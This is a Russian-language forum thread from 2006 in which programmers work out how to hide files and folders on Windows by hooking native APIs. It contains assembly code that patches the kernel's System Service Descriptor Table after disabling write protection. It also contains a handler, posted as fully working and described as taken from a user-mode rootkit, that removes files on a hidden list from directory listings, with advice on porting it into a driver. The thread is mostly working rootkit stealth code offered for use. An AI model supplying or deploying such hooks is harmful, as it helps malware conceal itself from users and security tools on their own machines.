сокрытие файлов и папок

Тема в разделе "WASM.WIN32", создана пользователем cresta, 16 мар 2006.

  1. cresta

    cresta Active Member

    Публикаций:
    0
    Регистрация:
    13 июн 2004
    Сообщения:
    2.257
    Для скрытия файлов и папок гуры советуют перехватывать ZwQueryDirectoryFile. Делаю перехват, простенький, лишь бы отметиться:


    Код (Text):
    1. NTSTATUS  __declspec(naked) NewZwQueryDirectoryFile(){
    2.     DbgPrint ("NewZwQueryDirectoryFile");
    3.     _asm jmp OldZwQueryDirectoryFile
    4. }
    5.  


    При открытии проводника, папок в проводнике и проч. операциях ZwQueryDirectoryFile (и соответственно NewZwQueryDirectoryFile) не вызывается. Откуда проводник берет информацию ?



    Вызывается только при запуске файлов на исполнение.

    Пробовал также перехватывать ZwOpenFile и ZwOpenDirectoryObject c тем же эффектом.
     
  2. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2005
    Сообщения:
    1.057
    Адрес:
    С планеты "Земля"
    Криво перехват делаешь. Все там вызывается.
     
  3. d4rkeagle

    d4rkeagle Алексей Шпунсель

    Публикаций:
    0
    Регистрация:
    3 мар 2006
    Сообщения:
    66
    Адрес:
    Тайланд
    проводник юзает FindFirstFileA, FindNextFileA ( через них он обращается к NativeAPI ).

    ты видимо юзаешь перехват путем подмены таблицы импорта.

    или stdcall делай...
     
  4. cresta

    cresta Active Member

    Публикаций:
    0
    Регистрация:
    13 июн 2004
    Сообщения:
    2.257
    Ms Rem

    Что значит криво? Расшифровка этого понятия возможна?

    И если криво, почему система не падает при jmp OldZwQueryDirectoryFile?



    Я ж специально оговорил, что при открытии файла новая ZwQueryDirectoryFile вызывается. Т.е. механизм, как я полагаю, рабочий.
     
  5. MegaZu

    MegaZu New Member

    Публикаций:
    0
    Регистрация:
    22 июл 2005
    Сообщения:
    290
    cresta

    как сказал Ms Rem все работает. Лучше код выложи.
     
  6. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2005
    Сообщения:
    1.057
    Адрес:
    С планеты "Земля"




    Так как метод рабочий, но у тебя он не работает то из этого следует логичный вывод - криво написал.

    Ничего конкретного правда сказать не могу, так как телепатией не обладаю.
     
  7. cresta

    cresta Active Member

    Публикаций:
    0
    Регистрация:
    13 июн 2004
    Сообщения:
    2.257
    Да пользовал твои ф-ции HookCode сотоварищи :)



    Сейчас решил перепроверить, сделал через хук sdt.

    Сделал на ZwOpenFile, т.к. через неё обязательно должен пройти вызов для получения хэндла директории, который будет передаваться в ZwQueryDirectoryFile, заодно в OBJECT_ATTRIBUTES можно имя посмотреть:


    Код (Text):
    1. DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
    2.    
    3.     pushad
    4.     mov     edi, KeServiceDescriptorTable
    5.     mov     edi, [edi]
    6.     mov     edi, [edi]
    7.     mov     eax, [edi+(074h*4)]                 ;edi+074h*4 - ZwOpenFile
    8.     mov     trueZwOpenFile,eax
    9.     ;--------------------------------------------
    10.     cli
    11.     mov     eax, CR0
    12.     mov     tmpCR0, eax
    13.     and     eax, -1
    14.     mov     cr0, eax
    15.     mov     [edi+(074h*4)], dword ptr offset NewZwOpenFile
    16.     mov     eax, tmpCR0
    17.     mov     CR0, eax
    18.     sti
    19.  
    20.     invoke  DbgPrint, $CTA0("True point: %08X"), dword ptr [trueZwOpenFile]
    21.     lea     eax,NewZwOpenFile
    22.     invoke  DbgPrint, $CTA0("Hooked to %08X"), eax
    23.     mov     eax, pDriverObject
    24.     mov     [eax.DRIVER_OBJECT].DriverUnload, offset DriverUnload
    25.  
    26.     popad
    27.     mov eax, STATUS_SUCCESS
    28.     ret
    29. DriverEntry endp
    30. ;-------------------------------------------------------------
    31. NewZwOpenFile:
    32.     mov     eax,esp
    33.     add     eax,12
    34.     mov     eax,[eax]
    35.     add     eax,8
    36.     mov     eax,[eax]
    37.     add     eax,4
    38.     cmp     word ptr[eax+6],03Ah        ;выводит некий мусор вперемешку с именем файрвола
    39.     jne     @F                          ;и rpcss.dll поэтому отсеиваю
    40.     invoke  DbgPrint, $CTA0("%S"), eax
    41.     @@:
    42.     jmp     dword ptr trueZwOpenFile
    43.  






    Визуально в DbgView ничего не происходит, кроме дежурного открытия файрвола.

    Т.е. открытие проводника и папок в нем не вызывает код NewZwOpenFile.

    Если запустить например C:\1.txt, то выводится имя нотепада, само же имя текстового файла не фигурирует.

    Что тут неправильного?
     
  8. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2005
    Сообщения:
    1.057
    Адрес:
    С планеты "Земля"
    Есть еще и ZwCreateFile
     
  9. cresta

    cresta Active Member

    Публикаций:
    0
    Регистрация:
    13 июн 2004
    Сообщения:
    2.257
    А разве ZwCreateFile вызывается при перечислении файлов или отображении в проводнике? Насколько я понимаю - нет, соответственно и хукать его смысла нет.



    Кстати, код правильный? Может неявные ошибки какие?



    И ещё вопрос в тему (как запасной вариант): если перехватывать ZwQueryDirectoryFile, то в момент перехвата находится драйвер в контексте вызывающего приложения? Надо ли делать PsGetCurrentProcess -> KeStackAttachProcess чтобы прочесть возвращаемый буфер. Если читать напрямую буфер в FILE_BOTH, то перезагрузка.
     
  10. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2005
    Сообщения:
    1.057
    Адрес:
    С планеты "Земля"
    Мля, я тебе говорю про открытие. На кой х..й спрашивается ты тогда ZwOpenFile хукаешь? Ты у меня спросил почему не видно открываемых файлов я ответил. А для скрытия хукай ZwQueryDirectoryFile.







    Мегалол. Вызов в контексте вызывающего процесса идет.





    Значит написал криво.
     
  11. NeuronViking

    NeuronViking New Member

    Публикаций:
    0
    Регистрация:
    29 окт 2004
    Сообщения:
    476
    Адрес:
    где-то в Сиднее
    Ms Rem, ты хочешь сказать можно ограничить доступ к файлам лишь контролируя ZwCreateFile?
     
  12. cresta

    cresta Active Member

    Публикаций:
    0
    Регистрация:
    13 июн 2004
    Сообщения:
    2.257
    Ms Rem



    Я уже привел кусок кода, который ты называешь кривым, но ничего кривого ты не показал в нем.

    Также и с ZwQueryDirectoryFile. Вместо бесконечного повторения слова криво покажи, что неправильно:


    Код (Text):
    1. ;-------------------------------------------------------------
    2. NewZwQueryDirectoryFile:
    3.     mov     eax,dword ptr [esp+32]
    4.     .if     (eax==3)
    5.         mov     eax,dword ptr [esp+24]
    6.         mov     bufferAddr,eax    ;pointer to FILE_BOTH_DIRECTORY_INFORMATION
    7.     .else
    8.         mov     bufferAddr,0
    9.     .endif
    10.     pop     trueReturnAddr
    11.     call    dword ptr trueZwQueryDirectoryFile
    12.     .if     (!eax)
    13.         push    eax
    14.         push    ebx
    15.         mov     ebx,bufferAddr
    16.         .if     (ebx)
    17.             assume  ebx : ptr FILE_BOTH_DIRECTORY_INFORMATION
    18.             @@:
    19.             lea     eax,[ebx].FileName
    20.             invoke  DbgPrint, $CTA0("Name = %S"),eax
    21.             cmp     [ebx].NextEntryOffset,0
    22.             je      @F
    23.             add     ebx,[ebx].NextEntryOffset
    24.             jmp     @B
    25.             @@:
    26.             assume  ebx : nothing
    27.         .endif
    28.         pop     ebx
    29.         pop     eax
    30.     .endif
    31.     push    trueReturnAddr
    32.     retn
    33. ;-------------------------------------------------------------




    ZwOpenFile хукаю потому, что для получения хэндла директории её вызов предшествует вызову ZwQueryDirectoryFile, в которую этот хэндл передается. И один из параметров ZwOpenFile содержит имя директории для открытия. Вот почему.

    А открытие меня не интересует. В теме же указано, что скрыть надо файлы и папки.
     
  13. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2005
    Сообщения:
    1.057
    Адрес:
    С планеты "Земля"


    Если перехват ZwOpenFile работает, то значит кривость в другом куске.



    Вобще код у тебя какой-то странный, что такое bufferAddr? Глобальная переменная чтоли? Что такое trueReturnAddr и нафиг это здесь надо?

    Дальше почему в DbgPrint стоит %s когда надо %ws? Правильно ли у тебя определена структура FILE_BOTH_DIRECTORY_INFORMATION?

    Почему не сохраняется регистр ebx? (а его сохранение важно).



    Вот код моего варианта обработчика, и код 100% рабочий.


    Код (Text):
    1. NewZwQueryDirectoryFile:
    2.   push    ebp
    3.   mov     ebp, esp
    4.   push    edi
    5.   call    GetInjData
    6.   push    dword [ebp+30h]
    7.   push    dword [ebp+2Ch]
    8.   push    dword [ebp+28h]
    9.   push    dword [ebp+24h]
    10.   push    dword [ebp+20h]
    11.   push    dword [ebp+1Ch]
    12.   push    dword [ebp+18h]
    13.   push    dword [ebp+14h]
    14.   push    dword [ebp+10h]
    15.   push    dword [ebp+0Ch]
    16.   push    dword [ebp+8]
    17.   call    dword [edi + INJ_DATA.pTrueZwQueryDirectoryFile]
    18.   test    eax, eax
    19.   mov     [ebp+30h], eax
    20.   jl      zExit
    21.   cmp     byte [ebp+28h], 0
    22.   jnz     zExit
    23.   cmp     dword [ebp+24h], 3
    24.   jnz     zExit
    25.   call    IsTrueProcess
    26.   test    al, al
    27.   jnz     zExit
    28.   push    ebx
    29.   mov     ebx, [ebp+28h]
    30.   push    esi
    31.   push    edx
    32.   xor     edx, edx
    33. zfLoop:
    34.   mov     eax, [ebp+1Ch]
    35.   lea     esi, [edx+eax]
    36.   mov     eax, [esi+3Ch]
    37.   add     edx, [esi]
    38.   shr     eax, 1
    39.   push    eax
    40.   lea     eax, [esi+5Eh]
    41.   push    eax
    42.   mov     eax, [edi + INJ_DATA.pSetData]
    43.   lea     eax, [eax + SET_DATA.HiddenFiles]
    44.   push    eax
    45.   call    IsMaskEquate
    46.   test    al, al
    47.   jz      zNotHidden
    48.   mov     eax, [esi]
    49.   test    eax, eax
    50.   jz      zNotNextEntry
    51.   test    ebx, ebx
    52.   jz      @F
    53.   add     [ebx], eax
    54.   jmp     @F
    55. zNotHidden:
    56.   mov     ebx, esi
    57. @@:
    58.   cmp     dword [esi], 0
    59.   jnz     zfLoop
    60.   jmp     @F
    61. zNotNextEntry:
    62.   test    ebx, ebx
    63.   jz      zNoMoreFiles
    64.   and     dword [ebx], 0
    65.   jmp     @F
    66. zNoMoreFiles:
    67.   mov     dword [ebp+30h], 080000006h
    68. @@:
    69.   pop     edx
    70.   pop     esi
    71.   pop     ebx
    72. zExit:
    73.   mov     eax, [ebp+30h]
    74.   pop     edi
    75.   pop     ebp
    76.   retn    2Ch                
     
  14. cresta

    cresta Active Member

    Публикаций:
    0
    Регистрация:
    13 июн 2004
    Сообщения:
    2.257
    ebx сохраняется. Структура определена правильно, из winddk. Все поля структуры, кроме имени файла определяются вполне правдоподобно. В качестве форматтера используется %S, а не %s, что это значит - можно в msdn посмотреть.

    И какая разница, получен указатель на буфер с данными перед вызовом или после вызова? Он же не меняется функцией :-\ В этом что-ли усмотрена кривость?



    А этот код с GetInjData и INJ_DATA, что ты показал - он к чему? Что инжектировать? Куда? Я ж написал, что просто меняю в sdt один дворд. Для этого разве нужно инжектировать что-то?

    Мда...
     
  15. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2005
    Сообщения:
    1.057
    Адрес:
    С планеты "Земля"
    Кривость усмотрена в применении глобальных переменных, так как вызов может произойти одновременно в нескольких потоках, в этом случае падение практически неизбежно.







    Если непонятно - то это код из юзермодного руткита, но его легко перенести в ядро, достаточно убрать GetInjData и напсисать функцию проверки скрытности файла по имени и вставить ее вместо IsMaskEquate.



    Я тебе дал рабочий код, и если у тебя возникают какие-либо проблемы с отладкой своего кода или применением моего, то это от лени. Нет ничего проще чем прогнать свой обработчик в айсе и найти ошибку.
     
  16. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2005
    Сообщения:
    1.057
    Адрес:
    С планеты "Земля"
    NeuronViking

    Про ограничение доступа к файлам я кажется ничего не говорил. К чему это ты?
     
  17. cresta

    cresta Active Member

    Публикаций:
    0
    Регистрация:
    13 июн 2004
    Сообщения:
    2.257
    Ясно, ничего конкретного сказать не можешь. Жаль.
     
  18. CARDINAL

    CARDINAL Member

    Публикаций:
    0
    Регистрация:
    23 янв 2004
    Сообщения:
    551
    Адрес:
    Moscow


    Да что ты говоришь. А как по твоему можно получить инфу свойствах файла и прочей лабуды ?? а если это ехек, каким макаром ты из него иконку вытащишь не открывая ? ты лучше файлмон запусти и глянь глазвами
     
  19. CARDINAL

    CARDINAL Member

    Публикаций:
    0
    Регистрация:
    23 янв 2004
    Сообщения:
    551
    Адрес:
    Moscow


    гыгы, ты ужо находишься в контексте процесса, и насколько мне помнится из опыта уровень irql в этом месте passive, к тому же на данной стадии файловые операции синхронны, так нахрена тебе это надо ?
     
  20. CARDINAL

    CARDINAL Member

    Публикаций:
    0
    Регистрация:
    23 янв 2004
    Сообщения:
    551
    Адрес:
    Moscow


    верни инвалид хэндл валуе и все, не вызывая оригинал, кто тебе мешает, если приложение не дибил писал, то думаю не будт по этому хэндлу файл читать и писать, да и если и буде то что.